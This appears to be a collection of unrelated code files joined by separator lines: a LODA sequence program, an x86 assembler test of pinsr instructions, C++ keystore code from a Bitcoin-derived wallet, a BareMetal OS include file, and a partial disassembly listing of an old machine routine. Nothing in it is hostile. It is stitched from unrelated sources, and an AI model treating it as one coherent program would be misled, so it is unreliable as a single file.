; 1,2,0,0,0,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,4,0,0,0,4,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
mov $1,8
pow $1,$0
mov $2,$0
sub $2,32
bin $2,$0
mul $1,$2
mov $0,$1
mod $0,10
add $0,10
mod $0,10
|
;Testname=test; Arguments=-O0 -fbin -opinsr32.bin; Files=stdout stderr pinsr32.bin
bits 32
pinsrw mm0,eax,0
pinsrw mm1,si,0
pinsrw mm2,[ecx],0
pinsrw mm3,word [ecx],0
pinsrb xmm0,eax,0
pinsrb xmm1,sil,0
; pinsrb xmm1,bh,0
pinsrb xmm2,[ecx],0
pinsrb xmm3,byte [ecx],0
pinsrw xmm0,eax,0
pinsrw xmm1,si,0
pinsrw xmm2,[ecx],0
pinsrw xmm3,word [ecx],0
pinsrd xmm0,eax,0
pinsrd xmm1,esi,0
pinsrd xmm2,[ecx],0
pinsrd xmm3,dword [ecx],0
vpinsrb xmm0,eax,0
vpinsrb xmm1,bl,0
vpinsrb xmm2,[ecx],0
vpinsrb xmm3,byte [ecx],0
vpinsrw xmm0,eax,0
vpinsrw xmm1,si,0
vpinsrw xmm2,[ecx],0
vpinsrw xmm3,word [ecx],0
vpinsrd xmm0,eax,0
vpinsrd xmm1,esi,0
vpinsrd xmm2,[ecx],0
vpinsrd xmm3,dword [ecx],0
vpinsrb xmm4,xmm0,eax,0
vpinsrb xmm5,xmm1,bl,0
vpinsrb xmm6,xmm2,[ecx],0
vpinsrb xmm7,xmm3,byte [ecx],0
vpinsrw xmm4,xmm0,eax,0
vpinsrw xmm5,xmm1,si,0
vpinsrw xmm6,xmm2,[ecx],0
vpinsrw xmm7,xmm3,word [ecx],0
vpinsrd xmm4,xmm0,eax,0
vpinsrd xmm5,xmm1,esi,0
vpinsrd xmm6,xmm2,[ecx],0
vpinsrd xmm7,xmm3,dword [ecx],0
|
// Copyright (c) 2017-2020 The Merit Foundation
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "keystore.h"
#include "key.h"
#include "pubkey.h"
#include "util.h"
bool CKeyStore::AddKey(const CKey &key) {
return AddKeyPubKey(key, key.GetPubKey());
}
bool CBasicKeyStore::GetPubKey(const CKeyID &address, CPubKey &vchPubKeyOut) const
{
CKey key;
if (!GetKey(address, key)) {
LOCK(cs_KeyStore);
WatchKeyMap::const_iterator it = mapWatchKeys.find(address);
if (it != mapWatchKeys.end()) {
vchPubKeyOut = it->second;
return true;
}
return false;
}
vchPubKeyOut = key.GetPubKey();
return true;
}
bool CBasicKeyStore::AddKeyPubKey(const CKey& key, const CPubKey &pubkey)
{
LOCK(cs_KeyStore);
mapKeys[pubkey.GetID()] = key;
return true;
}
bool CBasicKeyStore::AddCScript(const CScript& redeemScript, const uint160& address)
{
if (redeemScript.size() > MAX_SCRIPT_ELEMENT_SIZE)
return error("CBasicKeyStore::AddCScript(): redeemScripts > %i bytes are invalid", MAX_SCRIPT_ELEMENT_SIZE);
LOCK(cs_KeyStore);
mapScripts[CScriptID(address)] = redeemScript;
return true;
}
bool CBasicKeyStore::HaveCScript(const CScriptID& hash) const
{
LOCK(cs_KeyStore);
return mapScripts.count(hash) > 0;
}
bool CBasicKeyStore::GetCScript(const CScriptID &hash, CScript& redeemScriptOut) const
{
LOCK(cs_KeyStore);
ScriptMap::const_iterator mi = mapScripts.find(hash);
if (mi == mapScripts.end()) {
return false;
}
redeemScriptOut = mi->second;
return true;
}
bool CBasicKeyStore::AddParamScript(const CScript& redeemScript, const uint160& address)
{
if (redeemScript.size() > MAX_SCRIPT_ELEMENT_SIZE)
return error("CBasicKeyStore::AddCScript(): redeemScripts > %i bytes are invalid", MAX_SCRIPT_ELEMENT_SIZE);
LOCK(cs_KeyStore);
mapParamScripts[CParamScriptID(address)] = redeemScript;
return true;
}
bool CBasicKeyStore::HaveParamScript(const CParamScriptID& hash) const
{
LOCK(cs_KeyStore);
return mapParamScripts.count(hash) > 0;
}
bool CBasicKeyStore::GetParamScript(const CParamScriptID &hash, CScript& redeemScriptOut) const
{
LOCK(cs_KeyStore);
ParamScriptMap::const_iterator mi = mapParamScripts.find(hash);
if (mi == mapParamScripts.end()) {
return false;
}
redeemScriptOut = mi->second;
return true;
}
bool CBasicKeyStore::AddReferralAddressPubKey(const uint160& address, const CKeyID& pubkey_id)
{
LOCK(cs_KeyStore);
mapReferralAddresses[address] = pubkey_id;
return true;
}
bool CBasicKeyStore::CBasicKeyStore::HaveReferralAddressPubKey(const uint160& address) const
{
LOCK(cs_KeyStore);
return mapReferralAddresses.count(address) > 0;
}
bool CBasicKeyStore::CBasicKeyStore::GetReferralAddressPubKey(const uint160& address, CKeyID& pubkey_id_out) const
{
LOCK(cs_KeyStore);
auto mi = mapReferralAddresses.find(address);
if (mi == mapReferralAddresses.end()) {
return false;
}
pubkey_id_out = mi->second;
return true;
}
static bool ExtractPubKey(const CScript &dest, CPubKey& pubKeyOut)
{
//TODO: Use Solver to extract this?
CScript::const_iterator pc = dest.begin();
opcodetype opcode;
std::vector<unsigned char> vch;
if (!dest.GetOp(pc, opcode, vch) || vch.size() < 33 || vch.size() > 65)
return false;
pubKeyOut = CPubKey(vch);
if (!pubKeyOut.IsFullyValid())
return false;
if (!dest.GetOp(pc, opcode, vch) || opcode != OP_CHECKSIG || dest.GetOp(pc, opcode, vch))
return false;
return true;
}
bool CBasicKeyStore::AddWatchOnly(const CScript &dest)
{
LOCK(cs_KeyStore);
setWatchOnly.insert(dest);
CPubKey pubKey;
if (ExtractPubKey(dest, pubKey))
mapWatchKeys[pubKey.GetID()] = pubKey;
return true;
}
bool CBasicKeyStore::RemoveWatchOnly(const CScript &dest)
{
LOCK(cs_KeyStore);
setWatchOnly.erase(dest);
CPubKey pubKey;
if (ExtractPubKey(dest, pubKey))
mapWatchKeys.erase(pubKey.GetID());
return true;
}
bool CBasicKeyStore::HaveWatchOnly(const CScript &dest) const
{
LOCK(cs_KeyStore);
return setWatchOnly.count(dest) > 0;
}
bool CBasicKeyStore::HaveWatchOnly() const
{
LOCK(cs_KeyStore);
return (!setWatchOnly.empty());
}
|
; =============================================================================
; BareMetal -- a 64-bit OS written in Assembly for x86-64 systems
; Copyright (C) 2008-2020 Return Infinity -- see LICENSE.TXT
;
; Initialization Includes
; =============================================================================
%include "init/64.asm"
%include "init/pci.asm"
%include "init/hdd.asm"
%include "init/net.asm"
; =============================================================================
; EOF
|
0x0000 (0x000000) 0x1800-0x4331 f:00014 d: 0 | A = 17201 (0x4331)
0x0002 (0x000004) 0x291E- f:00024 d: 286 | OR[286] = A
0x0003 (0x000006) 0x2100- f:00020 d: 256 | A = OR[256]
0x0004 (0x000008) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0005 (0x00000A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0006 (0x00000C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0007 (0x00000E) 0x291F- f:00024 d: 287 | OR[287] = A
0x0008 (0x000010) 0x2100- f:00020 d: 256 | A = OR[256]
0x0009 (0x000012) 0x141B- f:00012 d: 27 | A = A + 27 (0x001B)
0x000A (0x000014) 0x2908- f:00024 d: 264 | OR[264] = A
0x000B (0x000016) 0x3108- f:00030 d: 264 | A = (OR[264])
0x000C (0x000018) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x000D (0x00001A) 0x2920- f:00024 d: 288 | OR[288] = A
0x000E (0x00001C) 0x2119- f:00020 d: 281 | A = OR[281]
0x000F (0x00001E) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x0010 (0x000020) 0x2919- f:00024 d: 281 | OR[281] = A
0x0011 (0x000022) 0x2118- f:00020 d: 280 | A = OR[280]
0x0012 (0x000024) 0x8402- f:00102 d: 2 | P = P + 2 (0x0014), A = 0
0x0013 (0x000026) 0x7003- f:00070 d: 3 | P = P + 3 (0x0016)
0x0014 (0x000028) 0x7413- f:00072 d: 19 | R = P + 19 (0x0027)
0x0015 (0x00002A) 0x700C- f:00070 d: 12 | P = P + 12 (0x0021)
0x0016 (0x00002C) 0x74B7- f:00072 d: 183 | R = P + 183 (0x00CD)
0x0017 (0x00002E) 0x2005- f:00020 d: 5 | A = OR[5]
0x0018 (0x000030) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x0019 (0x000032) 0x2908- f:00024 d: 264 | OR[264] = A
0x001A (0x000034) 0x2124- f:00020 d: 292 | A = OR[292]
0x001B (0x000036) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x001C (0x000038) 0x2005- f:00020 d: 5 | A = OR[5]
0x001D (0x00003A) 0x251D- f:00022 d: 285 | A = A + OR[285]
0x001E (0x00003C) 0x290D- f:00024 d: 269 | OR[269] = A
0x001F (0x00003E) 0x2125- f:00020 d: 293 | A = OR[293]
0x0020 (0x000040) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x0021 (0x000042) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x0022 (0x000044) 0x2926- f:00024 d: 294 | OR[294] = A
0x0023 (0x000046) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x0024 (0x000048) 0x5800- f:00054 d: 0 | B = A
0x0025 (0x00004A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0026 (0x00004C) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0027 (0x00004E) 0x211A- f:00020 d: 282 | A = OR[282]
0x0028 (0x000050) 0x290E- f:00024 d: 270 | OR[270] = A
0x0029 (0x000052) 0x100C- f:00010 d: 12 | A = 12 (0x000C)
0x002A (0x000054) 0x290D- f:00024 d: 269 | OR[269] = A
0x002B (0x000056) 0x210D- f:00020 d: 269 | A = OR[269]
0x002C (0x000058) 0x8406- f:00102 d: 6 | P = P + 6 (0x0032), A = 0
0x002D (0x00005A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x002E (0x00005C) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x002F (0x00005E) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1
0x0030 (0x000060) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0031 (0x000062) 0x7206- f:00071 d: 6 | P = P - 6 (0x002B)
0x0032 (0x000064) 0x211A- f:00020 d: 282 | A = OR[282]
0x0033 (0x000066) 0x140C- f:00012 d: 12 | A = A + 12 (0x000C)
0x0034 (0x000068) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x0035 (0x00006A) 0x290E- f:00024 d: 270 | OR[270] = A
0x0036 (0x00006C) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0037 (0x00006E) 0x160C- f:00013 d: 12 | A = A - 12 (0x000C)
0x0038 (0x000070) 0x1608- f:00013 d: 8 | A = A - 8 (0x0008)
0x0039 (0x000072) 0x290D- f:00024 d: 269 | OR[269] = A
0x003A (0x000074) 0x210D- f:00020 d: 269 | A = OR[269]
0x003B (0x000076) 0x8406- f:00102 d: 6 | P = P + 6 (0x0041), A = 0
0x003C (0x000078) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x003D (0x00007A) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x003E (0x00007C) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1
0x003F (0x00007E) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0040 (0x000080) 0x7206- f:00071 d: 6 | P = P - 6 (0x003A)
0x0041 (0x000082) 0x1800-0x4331 f:00014 d: 0 | A = 17201 (0x4331)
0x0043 (0x000086) 0x391A- f:00034 d: 282 | (OR[282]) = A
0x0044 (0x000088) 0x211A- f:00020 d: 282 | A = OR[282]
0x0045 (0x00008A) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0046 (0x00008C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0047 (0x00008E) 0x211F- f:00020 d: 287 | A = OR[287]
0x0048 (0x000090) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0049 (0x000092) 0x2120- f:00020 d: 288 | A = OR[288]
0x004A (0x000094) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x004B (0x000096) 0x2920- f:00024 d: 288 | OR[288] = A
0x004C (0x000098) 0x211A- f:00020 d: 282 | A = OR[282]
0x004D (0x00009A) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x004E (0x00009C) 0x2908- f:00024 d: 264 | OR[264] = A
0x004F (0x00009E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0050 (0x0000A0) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0052 (0x0000A4) 0x2520- f:00022 d: 288 | A = A + OR[288]
0x0053 (0x0000A6) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0054 (0x0000A8) 0x3119- f:00030 d: 281 | A = (OR[281])
0x0055 (0x0000AA) 0x2922- f:00024 d: 290 | OR[290] = A
0x0056 (0x0000AC) 0x2122- f:00020 d: 290 | A = OR[290]
0x0057 (0x0000AE) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0058 (0x0000B0) 0x2922- f:00024 d: 290 | OR[290] = A
0x0059 (0x0000B2) 0x211A- f:00020 d: 282 | A = OR[282]
0x005A (0x0000B4) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x005B (0x0000B6) 0x2908- f:00024 d: 264 | OR[264] = A
0x005C (0x0000B8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x005D (0x0000BA) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x005E (0x0000BC) 0x2522- f:00022 d: 290 | A = A + OR[290]
0x005F (0x0000BE) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0060 (0x0000C0) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0061 (0x0000C2) 0x2119- f:00020 d: 281 | A = OR[281]
0x0062 (0x0000C4) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0063 (0x0000C6) 0x2908- f:00024 d: 264 | OR[264] = A
0x0064 (0x0000C8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0065 (0x0000CA) 0x2922- f:00024 d: 290 | OR[290] = A
0x0066 (0x0000CC) 0x2122- f:00020 d: 290 | A = OR[290]
0x0067 (0x0000CE) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x0068 (0x0000D0) 0x8402- f:00102 d: 2 | P = P + 2 (0x006A), A = 0
0x0069 (0x0000D2) 0x700C- f:00070 d: 12 | P = P + 12 (0x0075)
0x006A (0x0000D4) 0x211D- f:00020 d: 285 | A = OR[285]
0x006B (0x0000D6) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x006C (0x0000D8) 0x291D- f:00024 d: 285 | OR[285] = A
0x006D (0x0000DA) 0x211A- f:00020 d: 282 | A = OR[282]
0x006E (0x0000DC) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x006F (0x0000DE) 0x2908- f:00024 d: 264 | OR[264] = A
0x0070 (0x0000E0) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0071 (0x0000E2) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0073 (0x0000E6) 0x251D- f:00022 d: 285 | A = A + OR[285]
0x0074 (0x0000E8) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0075 (0x0000EA) 0x2119- f:00020 d: 281 | A = OR[281]
0x0076 (0x0000EC) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0077 (0x0000EE) 0x2908- f:00024 d: 264 | OR[264] = A
0x0078 (0x0000F0) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0079 (0x0000F2) 0x2921- f:00024 d: 289 | OR[289] = A
0x007A (0x0000F4) 0x2121- f:00020 d: 289 | A = OR[289]
0x007B (0x0000F6) 0x8602- f:00103 d: 2 | P = P + 2 (0x007D), A # 0
0x007C (0x0000F8) 0x702F- f:00070 d: 47 | P = P + 47 (0x00AB)
0x007D (0x0000FA) 0x2121- f:00020 d: 289 | A = OR[289]
0x007E (0x0000FC) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x007F (0x0000FE) 0x8402- f:00102 d: 2 | P = P + 2 (0x0081), A = 0
0x0080 (0x000100) 0x7007- f:00070 d: 7 | P = P + 7 (0x0087)
0x0081 (0x000102) 0x211B- f:00020 d: 283 | A = OR[283]
0x0082 (0x000104) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0083 (0x000106) 0x2908- f:00024 d: 264 | OR[264] = A
0x0084 (0x000108) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0085 (0x00010A) 0x2922- f:00024 d: 290 | OR[290] = A
0x0086 (0x00010C) 0x700D- f:00070 d: 13 | P = P + 13 (0x0093)
0x0087 (0x00010E) 0x2121- f:00020 d: 289 | A = OR[289]
0x0088 (0x000110) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x0089 (0x000112) 0x8402- f:00102 d: 2 | P = P + 2 (0x008B), A = 0
0x008A (0x000114) 0x7004- f:00070 d: 4 | P = P + 4 (0x008E)
0x008B (0x000116) 0x211C- f:00020 d: 284 | A = OR[284]
0x008C (0x000118) 0x2922- f:00024 d: 290 | OR[290] = A
0x008D (0x00011A) 0x7006- f:00070 d: 6 | P = P + 6 (0x0093)
0x008E (0x00011C) 0x2119- f:00020 d: 281 | A = OR[281]
0x008F (0x00011E) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0090 (0x000120) 0x2908- f:00024 d: 264 | OR[264] = A
0x0091 (0x000122) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0092 (0x000124) 0x2922- f:00024 d: 290 | OR[290] = A
0x0093 (0x000126) 0x211A- f:00020 d: 282 | A = OR[282]
0x0094 (0x000128) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x0095 (0x00012A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0096 (0x00012C) 0x2122- f:00020 d: 290 | A = OR[290]
0x0097 (0x00012E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0098 (0x000130) 0x2122- f:00020 d: 290 | A = OR[290]
0x0099 (0x000132) 0x8603- f:00103 d: 3 | P = P + 3 (0x009C), A # 0
0x009A (0x000134) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x009B (0x000136) 0x2913- f:00024 d: 275 | OR[275] = A
0x009C (0x000138) 0x2122- f:00020 d: 290 | A = OR[290]
0x009D (0x00013A) 0x8403- f:00102 d: 3 | P = P + 3 (0x00A0), A = 0
0x009E (0x00013C) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x009F (0x00013E) 0x2913- f:00024 d: 275 | OR[275] = A
0x00A0 (0x000140) 0x2113- f:00020 d: 275 | A = OR[275]
0x00A1 (0x000142) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x00A2 (0x000144) 0x2913- f:00024 d: 275 | OR[275] = A
0x00A3 (0x000146) 0x211A- f:00020 d: 282 | A = OR[282]
0x00A4 (0x000148) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00A5 (0x00014A) 0x2908- f:00024 d: 264 | OR[264] = A
0x00A6 (0x00014C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00A7 (0x00014E) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x00A8 (0x000150) 0x2513- f:00022 d: 275 | A = A + OR[275]
0x00A9 (0x000152) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x00AA (0x000154) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00AB (0x000156) 0x2119- f:00020 d: 281 | A = OR[281]
0x00AC (0x000158) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x00AD (0x00015A) 0x2908- f:00024 d: 264 | OR[264] = A
0x00AE (0x00015C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00AF (0x00015E) 0x2921- f:00024 d: 289 | OR[289] = A
0x00B0 (0x000160) 0x2121- f:00020 d: 289 | A = OR[289]
0x00B1 (0x000162) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x00B2 (0x000164) 0x8402- f:00102 d: 2 | P = P + 2 (0x00B4), A = 0
0x00B3 (0x000166) 0x7019- f:00070 d: 25 | P = P + 25 (0x00CC)
0x00B4 (0x000168) 0x311B- f:00030 d: 283 | A = (OR[283])
0x00B5 (0x00016A) 0x2922- f:00024 d: 290 | OR[290] = A
0x00B6 (0x00016C) 0x2122- f:00020 d: 290 | A = OR[290]
0x00B7 (0x00016E) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F)
0x00B8 (0x000170) 0x2922- f:00024 d: 290 | OR[290] = A
0x00B9 (0x000172) 0x211A- f:00020 d: 282 | A = OR[282]
0x00BA (0x000174) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x00BB (0x000176) 0x2908- f:00024 d: 264 | OR[264] = A
0x00BC (0x000178) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00BD (0x00017A) 0x0E05- f:00007 d: 5 | A = A << 5 (0x0005)
0x00BE (0x00017C) 0x0A04- f:00005 d: 4 | A = A < 4 (0x0004)
0x00BF (0x00017E) 0x2522- f:00022 d: 290 | A = A + OR[290]
0x00C0 (0x000180) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x00C1 (0x000182) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00C2 (0x000184) 0x211B- f:00020 d: 283 | A = OR[283]
0x00C3 (0x000186) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00C4 (0x000188) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C5 (0x00018A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C6 (0x00018C) 0x2922- f:00024 d: 290 | OR[290] = A
0x00C7 (0x00018E) 0x211A- f:00020 d: 282 | A = OR[282]
0x00C8 (0x000190) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005)
0x00C9 (0x000192) 0x2908- f:00024 d: 264 | OR[264] = A
0x00CA (0x000194) 0x2122- f:00020 d: 290 | A = OR[290]
0x00CB (0x000196) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00CC (0x000198) 0x0200- f:00001 d: 0 | EXIT
0x00CD (0x00019A) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00CE (0x00019C) 0x2924- f:00024 d: 292 | OR[292] = A
0x00CF (0x00019E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D0 (0x0001A0) 0x2925- f:00024 d: 293 | OR[293] = A
0x00D1 (0x0001A2) 0x311A- f:00030 d: 282 | A = (OR[282])
0x00D2 (0x0001A4) 0x2923- f:00024 d: 291 | OR[291] = A
0x00D3 (0x0001A6) 0x2123- f:00020 d: 291 | A = OR[291]
0x00D4 (0x0001A8) 0x271F- f:00023 d: 287 | A = A - OR[287]
0x00D5 (0x0001AA) 0x86AD- f:00103 d: 173 | P = P + 173 (0x0182), A # 0
0x00D6 (0x0001AC) 0x211A- f:00020 d: 282 | A = OR[282]
0x00D7 (0x0001AE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00D8 (0x0001B0) 0x2908- f:00024 d: 264 | OR[264] = A
0x00D9 (0x0001B2) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00DA (0x0001B4) 0x2923- f:00024 d: 291 | OR[291] = A
0x00DB (0x0001B6) 0x2123- f:00020 d: 291 | A = OR[291]
0x00DC (0x0001B8) 0x271E- f:00023 d: 286 | A = A - OR[286]
0x00DD (0x0001BA) 0x86A5- f:00103 d: 165 | P = P + 165 (0x0182), A # 0
0x00DE (0x0001BC) 0x211A- f:00020 d: 282 | A = OR[282]
0x00DF (0x0001BE) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00E0 (0x0001C0) 0x2908- f:00024 d: 264 | OR[264] = A
0x00E1 (0x0001C2) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00E2 (0x0001C4) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x00E3 (0x0001C6) 0x2923- f:00024 d: 291 | OR[291] = A
0x00E4 (0x0001C8) 0x2123- f:00020 d: 291 | A = OR[291]
0x00E5 (0x0001CA) 0x2720- f:00023 d: 288 | A = A - OR[288]
0x00E6 (0x0001CC) 0x869C- f:00103 d: 156 | P = P + 156 (0x0182), A # 0
0x00E7 (0x0001CE) 0x211A- f:00020 d: 282 | A = OR[282]
0x00E8 (0x0001D0) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x00E9 (0x0001D2) 0x2908- f:00024 d: 264 | OR[264] = A
0x00EA (0x0001D4) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00EB (0x0001D6) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x00EC (0x0001D8) 0x2922- f:00024 d: 290 | OR[290] = A
0x00ED (0x0001DA) 0x3119- f:00030 d: 281 | A = (OR[281])
0x00EE (0x0001DC) 0x2923- f:00024 d: 291 | OR[291] = A
0x00EF (0x0001DE) 0x2122- f:00020 d: 290 | A = OR[290]
0x00F0 (0x0001E0) 0x2723- f:00023 d: 291 | A = A - OR[291]
0x00F1 (0x0001E2) 0x8691- f:00103 d: 145 | P = P + 145 (0x0182), A # 0
0x00F2 (0x0001E4) 0x2119- f:00020 d: 281 | A = OR[281]
0x00F3 (0x0001E6) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00F4 (0x0001E8) 0x2908- f:00024 d: 264 | OR[264] = A
0x00F5 (0x0001EA) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00F6 (0x0001EC) 0x2921- f:00024 d: 289 | OR[289] = A
0x00F7 (0x0001EE) 0x2121- f:00020 d: 289 | A = OR[289]
0x00F8 (0x0001F0) 0x8602- f:00103 d: 2 | P = P + 2 (0x00FA), A # 0
0x00F9 (0x0001F2) 0x703D- f:00070 d: 61 | P = P + 61 (0x0136)
0x00FA (0x0001F4) 0x211A- f:00020 d: 282 | A = OR[282]
0x00FB (0x0001F6) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00FC (0x0001F8) 0x2908- f:00024 d: 264 | OR[264] = A
0x00FD (0x0001FA) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00FE (0x0001FC) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x00FF (0x0001FE) 0x2922- f:00024 d: 290 | OR[290] = A
0x0100 (0x000200) 0x2122- f:00020 d: 290 | A = OR[290]
0x0101 (0x000202) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0102 (0x000204) 0x8680- f:00103 d: 128 | P = P + 128 (0x0182), A # 0
0x0103 (0x000206) 0x211A- f:00020 d: 282 | A = OR[282]
0x0104 (0x000208) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x0105 (0x00020A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0106 (0x00020C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0107 (0x00020E) 0x2922- f:00024 d: 290 | OR[290] = A
0x0108 (0x000210) 0x2122- f:00020 d: 290 | A = OR[290]
0x0109 (0x000212) 0x8679- f:00103 d: 121 | P = P + 121 (0x0182), A # 0
0x010A (0x000214) 0x211A- f:00020 d: 282 | A = OR[282]
0x010B (0x000216) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x010C (0x000218) 0x2908- f:00024 d: 264 | OR[264] = A
0x010D (0x00021A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x010E (0x00021C) 0x2922- f:00024 d: 290 | OR[290] = A
0x010F (0x00021E) 0x2119- f:00020 d: 281 | A = OR[281]
0x0110 (0x000220) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0111 (0x000222) 0x2908- f:00024 d: 264 | OR[264] = A
0x0112 (0x000224) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0113 (0x000226) 0x2923- f:00024 d: 291 | OR[291] = A
0x0114 (0x000228) 0x2121- f:00020 d: 289 | A = OR[289]
0x0115 (0x00022A) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x0116 (0x00022C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0118), A = 0
0x0117 (0x00022E) 0x7013- f:00070 d: 19 | P = P + 19 (0x012A)
0x0118 (0x000230) 0x2122- f:00020 d: 290 | A = OR[290]
0x0119 (0x000232) 0x1640- f:00013 d: 64 | A = A - 64 (0x0040)
0x011A (0x000234) 0x8068- f:00100 d: 104 | P = P + 104 (0x0182), C = 0
0x011B (0x000236) 0x2122- f:00020 d: 290 | A = OR[290]
0x011C (0x000238) 0x2723- f:00023 d: 291 | A = A - OR[291]
0x011D (0x00023A) 0x8003- f:00100 d: 3 | P = P + 3 (0x0120), C = 0
0x011E (0x00023C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0120), A = 0
0x011F (0x00023E) 0x7063- f:00070 d: 99 | P = P + 99 (0x0182)
0x0120 (0x000240) 0x211A- f:00020 d: 282 | A = OR[282]
0x0121 (0x000242) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0122 (0x000244) 0x2908- f:00024 d: 264 | OR[264] = A
0x0123 (0x000246) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0124 (0x000248) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0125 (0x00024A) 0x2922- f:00024 d: 290 | OR[290] = A
